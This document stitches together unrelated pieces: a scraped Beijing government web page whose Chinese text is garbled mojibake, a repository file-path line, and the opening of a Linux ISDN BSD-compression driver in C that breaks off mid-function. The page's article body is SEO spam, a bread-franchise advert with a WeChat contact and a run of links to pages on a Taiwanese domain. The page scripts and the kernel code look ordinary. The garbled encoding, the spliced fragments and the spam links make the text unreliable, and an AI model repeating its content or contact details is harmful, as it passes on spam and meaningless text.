id="yx_style_nav">ÎÞÕϰ­</a></li> <li><a target="_blank" title="·±Ìå°æ" href="http://210.75.193.158/gate/big5/www.beijing.gov.cn">·±Ìå</a></li> <li><a target="_blank" title="¼òÌå°æ" href="http://www.beijing.gov.cn">¼òÌå</a></li> <li class="last"><a target="_blank" title="English Version" href="http://www.ebeijing.gov.cn">English</a></li></ul><ul> <li><a href="javaSCripT:void(0)" onclick="SetHome(this,window.location)" title="ÉèΪÊ×Ò³">ÉèΪÊ×Ò³</a></li> <li><a title="¼ÓÈëÊÕ²Ø" href="javaSCripT:void(0)" onclick="shoucang(document.title,window.location)">¼ÓÈëÊÕ²Ø</a></li> <li class="last"><a target="_blank" title="ÒÆ¶¯°æ" href="http://www.beijing.gov.cn/sjbsy/">ÒÆ¶¯°æ</a></li></ul></div> </div> </div> <div class="nav-collapse"> <div class="container"> <ul class="nav"> <li ><a href="http://www.beijing.gov.cn/" class="normal" title="Ê×Ò³">Ê×Ò³</a></li> <li><a href="http://zhengwu.beijing.gov.cn/" class="normal" title="ÕþÎñÐÅÏ¢">ÕþÎñÐÅÏ¢</a></li> <li><a href="http://www.beijing.gov.cn/sqmy/default.htm" class="normal" title="ÉçÇéÃñÒâ">ÉçÇéÃñÒâ</a></li> <li><a href="http://banshi.beijing.gov.cn" class="normal" title="ÕþÎñ·þÎñ">ÕþÎñ·þÎñ</a></li> <li><a href="http://www.beijing.gov.cn/bmfw" class="normal" title="±ãÃñ·þÎñ">±ãÃñ·þÎñ</a></li> <li style="background:none;"><a href="http://www.beijing.gov.cn/rwbj/default.htm" class="normal" title="ÈËÎı±¾©">ÈËÎı±¾©</a></li> </ul> </div> </div><!--/.nav-collapse --> </div> </div> </div> <div class="container" style="background:#fff; margin-top:24px;"> <div class="content_text"> <div id="breadcrumbnav"> <ul> <li>Ê×Ò³¡¡>¡¡±ãÃñ·þÎñ¡¡>¡¡×îÐÂÌáʾ</li> </ul> <div class="clearboth"></div> </div> <h1>ѰζÁµÅàѵ×ܲ¿ÔÚÄÄ <div id="othermessage"> <p> <span>À´Ô´£º±±¾©ÈÕ±¨</span> <span>ÈÕÆÚ£º2017-03-09 11:52:17</span></p> <dl> <SCripT language='JavaScript' type="text/javaSCripT"> function changeSize(size){document.getElementById('div_zhengwen').style.fontSize=size+'px'}</SCripT> ¡¾×ÖºÅ&nbsp;&nbsp;<a href='javaSCripT:changeSize(18)' style="font-size:16px;">´ó</a>&nbsp;&nbsp;<a href='javaSCripT:changeSize(14)' style="font-size:14px;">ÖÐ</a>&nbsp;&nbsp;<a href='javaSCripT:changeSize(12)' style="font-size:12px;">С</a>¡¿</dl> </div> </h1> <div id="div_zhengwen"> <div id="pic"> <ul id="pic_0"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_1"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_2"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_3"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_4"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_5"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_6"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_7"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_8"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> <ul id="pic_9"> <li><img src="" border="0" alt="" title="" /></li> <li></li> </ul> </div> <div class=TRS_Editor><p align="justify">¡¡¡¡Ñ°Î¶ÁµÅàѵ×ܲ¿ÔÚÄÄ ¡ú΢_ÐÅ:w4280920 <a href="http://www.tangpaishousibao.cn">Çëµã»÷ÊÖËºÃæ°ü¼ÓÃ˹ÙÍø</a>:ÊÖËºÃæ°ü²ÉÓÃ16µÀ¹¤ÐòÖÆ³ÉÇúÇúÕÛÕ۵Ľð±ß£¬²ã²ãµþµþµÄ±íƤ£¬Å¨Å¨ÓôÓôµÄÄÌÏ㣬ÃàÃàÈíÈíµÄ¿Ú¸Ð£¬ÏãÌð¿É¿Ú¡£Ëü²»½öÄÚ²¿×éÖ¯¾¢µÀ£¬¿ÉÒÔÀ­Ë¿£¬¶øÇÒÈë¿ÚÈáÈíÏãÌð£¬Ê³ºó»ØÎ¶ÎÞÇ´¿ÌìÈ»½ÍÖÖ·¢½Í£¬¸ü¼ÓÂÌÉ«½¡¿µ¡£</p> <img src="{img}" width="300" height="330"/> <p align="justify">¡¡¡¡ <link rel="stylesheet" href="http://ent.sina.com.cn/css/470/20120928/style_videolist.css" charset="GBK" /> <div class="artical-player-wrap" style="display:block;"> <div class="a-p-hd"> <div id="J_Article_Player"> ÊÓÆµ¼ÓÔØÖУ¬ÇëÉÔºò... </div> <div class="a-p-info"> <label class="fl autoplayctrl" suda-uatrack="key=videoq&value=autoplay" style="display:none;"> <input type="checkbox" checked id="J_Video_Autoplay" /> ×Ô¶¯²¥·Å </label> <span id="J_Video_Source"> </span> </div> </div> <div class="a-p-bd a-p-bd-b" id="J_Play_List_Wrap" style="display:none;"> <div class="a-p-slide"> <div class="a-p-s-list clearfix" id="J_Play_List"> <div class="a-p-s-item J_Play_Item" play-data="250995978-1-1" url-data="http://video.sina.com.cn/p/news/o/doc/2017-02-13/230265699059.html" title-data="̨Íå·¢ÉúÓÎÀÀ³µ·­³µÊÂ¹Ê ÏÖ³¡Ò»Æ¬Àǽå" source-data=""> <a href="javaSCripT:;" class="a-p-s-img" hidefocus="true" title="̨Íå·¢ÉúÓÎÀÀ³µ·­³µÊÂ¹Ê ÏÖ³¡Ò»Æ¬Àǽå" > <img width="120" height="90" src="" alt="̨Íå·¢ÉúÓÎÀÀ³µ·­³µÊÂ¹Ê ÏÖ³¡Ò»Æ¬Àǽå" /> <i class="a-p-s-play">play</i> <span class="a-p-s-txt">̨Íå·¢ÉúÓÎÀÀ³µ·­³µÊÂ¹Ê ÏÖ³¡Ò»Æ¬Àǽå</span> </a> </div> </div> <a href="javaSCripT:;" class="a-p-s-prev" id="J_Player_Prev">Ïòǰ</a> <a href="javaSCripT:;" class="a-p-s-next" id="J_Player_Next">Ïòºó</a> </div> </div> <SCripT type="text/javaSCripT" charset="GBK" src="http://www.sinaimg.cn/ty/sinaui/scrollpic/scrollpic2012070701.min.js"></SCripT> <SCripT type="text/javaSCripT" src="http://www.sinaimg.cn/dy/js/jquery/jquery-1.7.2.min.js"></SCripT> <SCripT type="text/javaSCripT" charset="GBK" src="http://news.sina.com.cn/js/792/2015-03-13/149/videolist-2.js"></SCripT> <SCripT type="text/javaSCripT"> /*×Ô¶¯²¥·Å1*/ //var AUTOPLAY = 1; var AUTOPLAY = 0; //2015.11.25ÈÕ֪ͨ¸Ä³É0 /*Á¬²¥1*/ var CONTIPLAY = 1; /*´¦Àí×Ô¶¯²¥·ÅÑ¡ÏîºÍcookie*/ (function() { var Tool = CommonTool; var chk = Tool.byId('J_Video_Autoplay'); var ua = navigator.userAgent.toLowerCase(); var isIOS = /\((iPhone|iPad|iPod)/i.test(ua); if (isIOS) { console.log(chk.parentNode.style.display); //chk.parentNode.style.display = 'none'; //2015.11.25 Òþ²Ø×Ô¶¯²¥·ÅÑ¡Ïî return; } //chk.parentNode.style.display = ''; //2015.11.25 Òþ²Ø×Ô¶¯²¥·ÅÑ¡Ïî var clickCookie = function() { Tool.bindEvent(chk, 'change', function() { var chked = chk.checked; Tool.writeCookie('ArtiVAuto', (chked ? 1 : 0), 24 * 365 * 10, '/', '.sina.com.cn'); }); } var byCookie = function() { var coo = Tool.readCookie('ArtiVAuto'); if (coo) { if (parseInt(coo) == 0) { chk.checked = false; AUTOPLAY = 0; } } }; clickCookie(); byCookie(); })(); /*»ñÈ¡µÚÒ»¸öÊÓÆµvid*/ var firstItem = CommonTool.byClass('J_Play_Item', 'J_Play_List')[0]; var fInfo = firstItem.getAttribute('play-data').split('-'); var fVid = fInfo[0]; var fPid = fInfo[1]; var sinaBokePlayerConfig_o = { container: "J_Article_Player", //DivÈÝÆ÷µÄid width: 525, height: 430, playerWidth: 525, //¿í playerHeight: 430, //¸ß autoLoad: 1, //×Ô¶¯¼ÓÔØ autoPlay: AUTOPLAY, //×Ô¶¯²¥·Å as: 0, //¹ã¸æ pid: fPid, tjAD: 0, //ÏÔÊ¾ÇæÌìÖù¹ã¸æ tj: 0, //Æ¬Î²ÍÆ¼ö continuePlayer: 1, //Á¬Ðø²¥·Å casualPlay: 1, //ÈÎÒâÍ϶¯ÊÓÆµ head: 0, //²¥·ÅƬͷ¶¯»­ logo: 0, //ÏÔʾlogo share: 0, thumbUrl: "" }; </SCripT> <SCripT src="http://sjs2.sinajs.cn/video/sinaplayer/js/page/player.js"></SCripT> <SCripT type="text/javaSCripT"> (function() { var toggle = function(id, hide) { var e = CommonTool.byId(id); var par = e.parentNode; if (hide) { CommonTool.addClass(par, e.className + '_disabled'); } else { CommonTool.removeClass(par, e.className + '_disabled'); } } var scroll = new ScrollPic(); scroll.scrollContId = "J_Play_List"; //ÄÚÈÝÈÝÆ÷ID scroll.arrLeftId = "J_Player_Prev"; //×ó¼ýÍ·ID scroll.arrRightId = "J_Player_Next"; //ÓÒ¼ýÍ·ID scroll.listEvent = "onclick"; //Çл»Ê¼þ scroll.frameWidth = 532; //ÏÔʾ¿ò¿í¶È **ÏÔʾ¿ò¿í¶È±ØÐëÊÇ·­Ò³¿í¶ÈµÄ±¶Êý scroll.pageWidth = 133 * 3; //·­Ò³¿í¶È scroll.upright = false; //´¹Ö±¹ö¶¯ scroll.speed = 10; //ÒÆ¶¯ËÙ¶È(µ¥Î»ºÁÃ룬ԽСԽ¿ì) scroll.space = 15; //ÿ´ÎÒÆ¶¯ÏñËØ(µ¥Î»px£¬Ô½´óÔ½¿ì) scroll.autoPlay = false; //×Ô¶¯²¥·Å scroll.autoPlayTime = 5; //×Ô¶¯²¥·Å¼ä¸ôʱ¼ä(Ãë) scroll.circularly = false; scroll._move = scroll.move; scroll.move = function(num, quick) { scroll._move(num, quick); toggle(scroll.arrRightId, scroll.eof); toggle(scroll.arrLeftId, scroll.bof); }; scroll.initialize(); //³õʼ»¯ toggle(scroll.arrLeftId, scroll.bof); })(); </SCripT> <SCripT> var autoPlayCheck = $("#J_Video_Autoplay")[0].checked; var autoPlayFlv = 0; var autoPlayH5 = false; if(autoPlayCheck){ autoPlayFlv = 1; var autoPlayH5 = true; } var flashConfig = { url: "", // flash²¥·ÅÆ÷µØÖ·, container : "J_Article_Player", id: "myMovie", width: 525, height: 430, params : { allowNetworking : "all", allowScriptAccess : "always", wmode : "opaque", allowFullScreen : "true", quality : "high" }, attributes: {}, flashvars: { //autoPlay: autoPlayFlv, //ÊÇ·ñ×Ô¶¯²¥·Å autoPlay: 0, //11.25֪ͨ¸Ä³É0 loop: 0, autoLoad: 1, thumbUrl: '', tj: 0, as: 0 }, h5attr: { //autoPlay: autoPlayH5, //ÊÇ·ñ×Ô¶¯²¥·Å autoPlay: false, //11.25֪ͨ¸Ä³Éfalse controls: true, //ÊÇ·ñÏÔʾ¿ØÖÆÌõ loop: false, poster: '', //ÊÓÆµ¼ÓÔØÇ°Óû¼ÓÔØµÄͼƬµØÖ·£¬¼´²¥·ÅÆ÷Ò»¿ªÊ¼ÏÔʾµÄ½ØÍ¼ preload: 'auto' } }; var videoList = [ { video_id: 250995978, pid:1, url: 'http://video.sina.com.cn/p/news/o/doc/2017-02-13/230265699059.html', title:'̨Íå·¢ÉúÓÎÀÀ³µ·­³µÊÂ¹Ê ÏÖ³¡Ò»Æ¬Àǽå'//, //swfOutsideUrl:"http://you.video.sina.com.cn/api/sinawebApi/outplayrefer.php/video_id=250995978/s.swf" }, ] </SCripT> <SCripT> (function($){ var Play = { init: function(flashConfig, videoList){ this.flashConfig = flashConfig; this.videoList = videoList; this.playVideo = playVideo; this.prev = this.current = 0; this.length = this.videoList.length; this.contNode = $("#J_Video_Autoplay"); this.titleNode = $("#J_Video_Source"); this.playListNode = $("#J_Play_List .J_Play_Item"); if(videoList.length!==1){ //ÏÔʾСͼ CommonTool.byId('J_Play_List_Wrap').style.display=''; } if(videoList.length<5){ CommonTool.byId('J_Player_Prev').style.display='none'; CommonTool.byId('J_Player_Next').style.display='none'; } this.initPlayer(); this.bind(); }, bind: function(){ var _this = this; $("#J_Play_List").on("click", ".J_Play_Item a", function(e){ e.preventDefault(); _this.playCurrent($(this)); }); }, initPlayer: function(){ var _this = this; this.player = this.playVideo(this.flashConfig); this.player.init(this.videoList[this.prev]); this.player.on("playCompleted", function(){ _this.playNext(); }); this.playListNode.eq(0).addClass("selected"); this.titleNode.html(this.videoList[0].title); }, playCurrent: function($this){ this.prev = this.current; this.current = $this.parents(".J_Play_Item").index(); this.play(this.prev, this.current); }, playNext: function(){ if(!this.contNode[0].checked){ return; } this.prev = this.current; if(this.current >= this.length - 1){ return; } this.current++; this.play(this.prev, this.current); }, play: function(prev, current){ this.player.playVideo(this.videoList[current]); this.titleNode.html(this.videoList[current].title); this.playListNode.eq(prev).removeClass("selected"); this.playListNode.eq(current).addClass("selected"); } } Play.init(flashConfig, videoList); })(jQuery); </SCripT> </div> <!--Hd begin--> <div id="HdFigure1_1_0" class="hdFigureWrap" style="margin:20px auto;"></div> <link rel="stylesheet" href="http://news.sina.com.cn/css/87/20121218/style_hdfigure_v2.css" /> <SCripT type="text/javaSCripT" src="http://i3.sinaimg.cn/home/sinaflash.js"></SCripT> <SCripT type="text/javaSCripT" src="http://news.sina.com.cn/js/87/content2014/hdfigure_v3.js"></SCripT> <SCripT type="text/javaSCripT"> $(document).ready(function(){ var HdFigure1_1_0 = new HdFigure('HdFigure1_1_0', 'http://slide.news.sina.com.cn/c/slide_1_2841_107903.html'); HdFigure1_1_0.init(); }); </SCripT> <!--Hd end--> <!--mce-plugin-videoList2[{"listPlay":true,"videos":[{"title":"̨Íå·¢ÉúÓÎÀÀ³µ·­³µÊÂ¹Ê ÏÖ³¡Ò»Æ¬Àǽå","videoid":"250995978","ad":true,"source":"","url":"http://video.sina.com.cn/p/news/o/doc/2017-02-13/230265699059.html","img":"","largeImg":"","smallImg":"","tags":"","docID":"fyamkzq1286557","vmsURL":"http://video.sina.com.cn/view/250995978.html","wapURL":"http://video.sina.cn/news/zxt/2017-02-13/detail-ifyamkzq1286557.d.html"}],"downloadDescr":"","videoCard":false}]mce-plugin-videoList2--> <p>¡¡¡¡[̨Íå·­³µÊÂ¹Ê ËÀÍöÈËÊýÉýÖÁ27ÈË]¾ÝÈËÃñÈÕ±¨ÏûÏ¢£¬Ì¨ÍåÓÎÀÀ³µ·­³µÊ¹ÊÒÑÖÂ27ËÀ¡£¾ÝϤ£¬¸ÃÓÎÀÀ³µÒÑÓÐ21Äê³µÁ䣬ĿǰÎÞ·¨È·¶¨³µÁ¾ÊÇ·ñÓйÊÕÏ¡£Ä¿Ç°ÒÑÓÐÏû·À³µ¡¢¾È»¤³µµÈ¹²¼Æ40ÓàÁ¾¸Ï¸°ÏÖ³¡¡£</p> <p>¡¡¡¡À´Ô´£ºÈËÃñÈÕ±¨</p> </p></div> <p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/dichen/2017030980.html">ÌÆÅɸâµãÊÖËºÃæ°ü¼ÓÃË</a></p> <p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/dichen/2017030933.html">ѰζÏãÅɹÙÍø</a></p> <p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/dichen/20170309515.html">»Æ½ðÊÖËºÃæ°üÄļÒѧζµÀÕý×Ú</a></p> <p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/dichen/20170309427.html">Ïã¸ÛÊÖËºÃæ°ü³É±¾¶àÉÙ</a></p> <p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/dichen/20170309252.html">¾õÎ¶ÌÆÅÉÊÖËºÃæ°ü¼ÓÃË×ܲ¿</a></p> <div id="filerider"> <div class="filelink" style="margin:10px 0 0 0;"><a href="./P020160207382291268334.doc">¸½¼þ£º2016Äê±±¾©µØÇø²©Îï¹Ý´º½ÚϵÁлһÀÀ±í</a></div> </div> </div> <div id="essaybottom" style="border:0; overflow:hidden; margin-bottom:0;"> <div style="padding-bottom:8px;" id="proclaim"><p style="float:left; line-height:30px;">·ÖÏíµ½£º</p><div class="bdsharebuttonbox"><a href="#" class="bds_more" data-cmd="more"></a><a href="#" class="bds_qzone" data-cmd="qzone"></a><a href="#" class="bds_tsina" data-cmd="tsina"></a><a href="#" class="bds_tqq" data-cmd="tqq"></a><a href="#" class="bds_renren" data-cmd="renren"></a><a href="#" class="bds_weixin" data-cmd="weixin"></a></div> <SCripT>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"","bdMini":"2","bdPic":"","bdStyle":"0","bdSize":"16"},"share":{},"image":{"viewList":["qzone","tsina","tqq","renren","weixin"],"viewText":"·ÖÏíµ½£º","viewSize":"16"},"selectShare":{"bdContainerClass":null,"bdSelectMiniList":["qzone","tsina","tqq","renren","weixin"]}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('SCripT')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</SCripT></div> </div> <div id="essaybottom" style="margin-top:0;"> <div style="padding-bottom:8px;" id="proclaim">תժÉùÃ÷£º×ªÕªÇë×¢Ã÷³ö´¦²¢×ö»ØÁ´</div> </div> </div> </div> <!-- /container --> <div id="footer"> <div class="container"> <div class="span1" style="text-align:center"><SCripT type="text/javaSCripT">document.write(unescape("%3Cspan id='_ideConac' %3E%3C/span%3E%3CSCripT src='http://dcs.conac.cn/js/01/000/0000/60429971/CA010000000604299710004.js' type='text/javaSCripT'%3E%3C/SCripT%3E"));</SCripT></div> <div class="span8"> <div class="footer-top"> <div class="footer-class"> <p> <a title="¹ØÓÚÎÒÃÇ" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306339.htm" style=" background:0">¹ØÓÚÎÒÃÇ</a><a target="_blank" title="Õ¾µãµØÍ¼" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306342.htm">Õ¾µãµØÍ¼</a><a target="_blank" title="ÁªÏµÎÒÃÇ" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306343.htm">ÁªÏµÎÒÃÇ</a><a target="_blank" title="ÆÀ¼ÛÊ×¶¼Ö®´°" href="mailto:service@beijing.gov.cn">ÆÀ¼ÛÊ×¶¼Ö®´°</a><a target="_blank" title="·¨ÂÉÉùÃ÷" href="http://www.beijing.gov.cn/zdxx/t709204.htm">·¨ÂÉÉùÃ÷</a> </p> <p>Ö÷°ì£º±±¾©ÊÐÈËÃñÕþ¸® °æÈ¨ËùÓга죺±±¾©Êо­¼ÃºÍÐÅÏ¢»¯Î¯Ô±»á ¾©ICP±¸05060933ºÅ ÔËÐйÜÀí£ºÊ×¶¼Ö®´°ÔËÐйÜÀíÖÐÐÄ</p> <p>¾©¹«Íø°²±¸ 110105000722 µØÖ·£º±±¾©Êг¯ÑôÇø±±³½Î÷·Êý×Ö±±¾©´óÏÃÄϰ˲㠴«Õ棺84371700 ¿Í·þÖÐÐĵ绰£º59321109</p> </div> </div> </div> </div> </div> <div style="display:none"> <SCripT type="text/javaSCripT">document.write(unescape("%3CSCripT src='http://yhfx.beijing.gov.cn/webdig.js?z=12' type='text/javaSCripT'%3E%3C/SCripT%3E"));</SCripT> <SCripT type="text/javaSCripT">wd_paramtracker("_wdxid=000000000000000000000000000000000000000000")</SCripT> </div> <SCripT src="http://static.gridsumdissector.com/js/Clients/GWD-800003-C99186/gs.js" language="JavaScript"></SCripT> <SCripT type="text/javaSCripT"> // ÉèÖÃΪÖ÷Ò³ function SetHome(obj,vrl){ try{ obj.style.behavior='url(#default#homepage)';obj.setHomePage(vrl); } catch(e){ if(window.netscape) { try { netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect"); } catch (e) { alert("´Ë²Ù×÷±»ä¯ÀÀÆ÷¾Ü¾ø£¡\nÇëÔÚä¯ÀÀÆ÷µØÖ·À¸ÊäÈë¡°about:config¡±²¢»Ø³µ\nÈ»ºó½« [signed.applets.codebase_principal_support]µÄÖµÉèÖÃΪ'true',Ë«»÷¼´¿É¡£"); } var prefs = Components.classes['@mozilla.org/preferences-service;1'].getService(Components.interfaces.nsIPrefBranch); prefs.setCharPref('browser.startup.homepage',vrl); }else{ alert("ÄúµÄä¯ÀÀÆ÷²»Ö§³Ö£¬Çë°´ÕÕÏÂÃæ²½Öè²Ù×÷£º1.´ò¿ªä¯ÀÀÆ÷ÉèÖá£2.µã»÷ÉèÖÃÍøÒ³¡£3.ÊäÈ룺"+vrl+"µã»÷È·¶¨¡£"); } } } // ¼ÓÈëÊÕ²Ø ¼æÈÝ360ºÍIE6 function shoucang(sTitle,sURL) { try { window.external.addFavorite(sURL, sTitle); } catch (e) { try { window.sidebar.addPanel(sTitle, sURL, ""); } catch (e) { alert("¼ÓÈëÊÕ²ØÊ§°Ü£¬ÇëʹÓÃCtrl+D½øÐÐÌí¼Ó"); } } } </SCripT> <!-- Le javaSCripT ================================================== --> <!-- Placed at the end of the document so the pages load faster --> <SCripT src="/images/zhuanti/xysym/jquery.js"></SCripT> <SCripT src="/images/zhuanti/xysym/bootstrap-collapse.js"></SCripT> <SCripT> $(document).ready(function(){ $(".ui-select").selectWidget({ change : function (changes) { return changes; }, effect : "slide", keyControl : true, speed : 200, scrollHeight : 250 }); }); </SCripT> </body>
ForAEdesWeb/AEW25
logs/dichen/20170309285.html
HTML
gpl-2.0
46,812
#include <linux/module.h> #include <linux/init.h> #include <linux/kernel.h> #include <linux/types.h> #include <linux/fcntl.h> #include <linux/interrupt.h> #include <linux/ptrace.h> #include <linux/ioport.h> #include <linux/in.h> #include <linux/slab.h> #include <linux/tty.h> #include <linux/errno.h> #include <linux/string.h> /* used in new tty drivers */ #include <linux/signal.h> /* used in new tty drivers */ #include <linux/bitops.h> #include <asm/system.h> #include <asm/byteorder.h> #include <asm/types.h> #include <linux/if.h> #include <linux/if_ether.h> #include <linux/netdevice.h> #include <linux/skbuff.h> #include <linux/inet.h> #include <linux/ioctl.h> #include <linux/vmalloc.h> #include <linux/ppp_defs.h> #include <linux/isdn.h> #include <linux/isdn_ppp.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/if_arp.h> #include <linux/ppp-comp.h> #include "isdn_ppp.h" MODULE_DESCRIPTION("ISDN4Linux: BSD Compression for PPP over ISDN"); MODULE_LICENSE("Dual BSD/GPL"); #define BSD_VERSION(x) ((x) >> 5) #define BSD_NBITS(x) ((x) & 0x1F) #define BSD_CURRENT_VERSION 1 #define DEBUG 1 struct bsd_dict { u32 fcode; u16 codem1; /* output of hash table -1 */ u16 cptr; /* map code to hash table entry */ }; struct bsd_db { int totlen; /* length of this structure */ unsigned int hsize; /* size of the hash table */ unsigned char hshift; /* used in hash function */ unsigned char n_bits; /* current bits/code */ unsigned char maxbits; /* maximum bits/code */ unsigned char debug; /* non-zero if debug desired */ unsigned char unit; /* ppp unit number */ u16 seqno; /* sequence # of next packet */ unsigned int mru; /* size of receive (decompress) bufr */ unsigned int maxmaxcode; /* largest valid code */ unsigned int max_ent; /* largest code in use */ unsigned int in_count; /* uncompressed bytes, aged */ unsigned int bytes_out; /* compressed bytes, aged */ unsigned int ratio; /* recent compression ratio */ unsigned int checkpoint; /* when to next check the ratio */ unsigned int clear_count; /* times dictionary cleared */ unsigned int incomp_count; /* incompressible packets */ unsigned int incomp_bytes; /* incompressible bytes */ unsigned int uncomp_count; /* uncompressed packets */ unsigned int uncomp_bytes; /* uncompressed bytes */ unsigned int comp_count; /* compressed packets */ unsigned int comp_bytes; /* compressed bytes */ unsigned short *lens; /* array of lengths of codes */ struct bsd_dict *dict; /* dictionary */ int xmit; }; #define BSD_OVHD 2 /* BSD compress overhead/packet */ #define MIN_BSD_BITS 9 #define BSD_INIT_BITS MIN_BSD_BITS #define MAX_BSD_BITS 15 #define CLEAR 256 /* table clear output code */ #define FIRST 257 /* first free entry */ #define LAST 255 #define MAXCODE(b) ((1 << (b)) - 1) #define BADCODEM1 MAXCODE(MAX_BSD_BITS); #define BSD_HASH(prefix,suffix,hshift) ((((unsigned long)(suffix))<<(hshift)) \ ^ (unsigned long)(prefix)) #define BSD_KEY(prefix,suffix) ((((unsigned long)(suffix)) << 16) \ + (unsigned long)(prefix)) #define CHECK_GAP 10000 /* Ratio check interval */ #define RATIO_SCALE_LOG 8 #define RATIO_SCALE (1<<RATIO_SCALE_LOG) #define RATIO_MAX (0x7fffffff>>RATIO_SCALE_LOG) static void bsd_clear(struct bsd_db *db) { db->clear_count++; db->max_ent = FIRST-1; db->n_bits = BSD_INIT_BITS; db->bytes_out = 0; db->in_count = 0; db->incomp_count = 0; db->ratio = 0; db->checkpoint = CHECK_GAP; } static int bsd_check (struct bsd_db *db) /* 1=output CLEAR */ { unsigned int new_ratio; if (db->in_count >= db->checkpoint) { /* age the ratio by limiting the size of the counts */ if (db->in_count >= RATIO_MAX || db->bytes_out >= RATIO_MAX) { db->in_count -= (db->in_count >> 2); db->bytes_out -= (db->bytes_out >> 2); } db->checkpoint = db->in_count + CHECK_GAP; if (db->max_ent >= db->maxmaxcode) { /* Reset the dictionary only if the ratio is worse, * or if it looks as if it has been poisoned * by incompressible data. * * This does not overflow, because * db->in_count <= RATIO_MAX. */ new_ratio = db->in_count << RATIO_SCALE_LOG; if (db->bytes_out != 0) { new_ratio /= db->bytes_out; } if (new_ratio < db->ratio || new_ratio < 1 * RATIO_SCALE) { bsd_clear (db); return 1; } db->ratio = new_ratio; } } return 0; } static void bsd_stats (void *state, struct compstat *stats) { struct bsd_db *db = (struct bsd_db *) state; stats->unc_bytes = db->uncomp_bytes; stats->unc_packets = db->uncomp_count; stats->comp_bytes = db->comp_bytes; stats->comp_packets = db->comp_count; stats->inc_bytes = db->incomp_bytes; stats->inc_packets = db->incomp_count; stats->in_count = db->in_count; stats->bytes_out = db->bytes_out; } static void bsd_reset (void *state,unsigned char code, unsigned char id, unsigned char *data, unsigned len, struct isdn_ppp_resetparams *rsparm) { struct bsd_db *db = (struct bsd_db *) state; bsd_clear(db); db->seqno = 0; db->clear_count = 0; } static void bsd_free (void *state) { struct bsd_db *db = (struct bsd_db *) state; if (db) { /* * Release the dictionary */ vfree(db->dict); db->dict = NULL; /* * Release the string buffer */ vfree(db->lens); db->lens = NULL; /* * Finally release the structure itself. */ kfree(db); } } static void *bsd_alloc (struct isdn_ppp_comp_data *data) { int bits; unsigned int hsize, hshift, maxmaxcode; struct bsd_db *db; int decomp; static unsigned int htab[][2] = { { 5003 , 4 } , { 5003 , 4 } , { 5003 , 4 } , { 5003 , 4 } , { 9001 , 5 } , { 18013 , 6 } , { 35023 , 7 } , { 69001 , 8 } }; if (data->optlen != 1 || data->num != CI_BSD_COMPRESS || BSD_VERSION(data->options[0]) != BSD_CURRENT_VERSION) return NULL; bits = BSD_NBITS(data->options[0]); if(bits < 9 || bits > 15) return NULL; hsize = htab[bits-9][0]; hshift = htab[bits-9][1]; /* * Allocate the main control structure for this instance. */ maxmaxcode = MAXCODE(bits); db = kzalloc (sizeof (struct bsd_db),GFP_KERNEL); if (!db) return NULL; db->xmit = data->flags & IPPP_COMP_FLAG_XMIT; decomp = db->xmit ? 0 : 1; /* * Allocate space for the dictionary. This may be more than one page in * length. */ db->dict = vmalloc(hsize * sizeof(struct bsd_dict)); if (!db->dict) { bsd_free (db); return NULL; } /* * If this is the compression buffer then there is no length data. * For decompression, the length information is needed as well. */ if (!decomp) db->lens = NULL; else { db->lens = vmalloc((maxmaxcode + 1) * sizeof(db->lens[0])); if (!db->lens) { bsd_free (db); return (NULL); } } /* * Initialize the data information for the compression code */ db->totlen = sizeof (struct bsd_db) + (sizeof (struct bsd_dict) * hsize); db->hsize = hsize; db->hshift = hshift; db->maxmaxcode = maxmaxcode; db->maxbits = bits; return (void *) db; } static int bsd_init (void *state, struct isdn_ppp_comp_data *data, int unit, int debug) { struct bsd_db *db = state; int indx; int decomp; if(!state || !data) { printk(KERN_ERR "isdn_bsd_init: [%d] ERR, state %lx data %lx\n",unit,(long)state,(long)data); return 0; } decomp = db->xmit ? 0 : 1; if (data->optlen != 1 || data->num != CI_BSD_COMPRESS || (BSD_VERSION(data->options[0]) != BSD_CURRENT_VERSION) || (BSD_NBITS(data->options[0]) != db->maxbits) || (decomp && db->lens == NULL)) { printk(KERN_ERR "isdn_bsd: %d %d %d %d %lx\n",data->optlen,data->num,data->options[0],decomp,(unsigned long)db->lens); return 0; } if (decomp) for(indx=LAST;indx>=0;indx--) db->lens[indx] = 1; indx = db->hsize; while (indx-- != 0) { db->dict[indx].codem1 = BADCODEM1; db->dict[indx].cptr = 0; } db->unit = unit; db->mru = 0; db->debug = 1; bsd_reset(db,0,0,NULL,0,NULL); return 1; } #define dict_ptrx(p,idx) &(p->dict[idx]) #define lens_ptrx(p,idx) &(p->lens[idx]) #ifdef DEBUG static unsigned short *lens_ptr(struct bsd_db *db, int idx) { if ((unsigned int) idx > (unsigned int) db->maxmaxcode) { printk (KERN_DEBUG "<9>ppp: lens_ptr(%d) > max\n", idx); idx = 0; } return lens_ptrx (db, idx); } static struct bsd_dict *dict_ptr(struct bsd_db *db, int idx) { if ((unsigned int) idx >= (unsigned int) db->hsize) { printk (KERN_DEBUG "<9>ppp: dict_ptr(%d) > max\n", idx); idx = 0; } return dict_ptrx (db, idx); } #else #define lens_ptr(db,idx) lens_ptrx(db,idx) #define dict_ptr(db,idx) dict_ptrx(db,idx) #endif static int bsd_compress (void *state, struct sk_buff *skb_in, struct sk_buff *skb_out,int 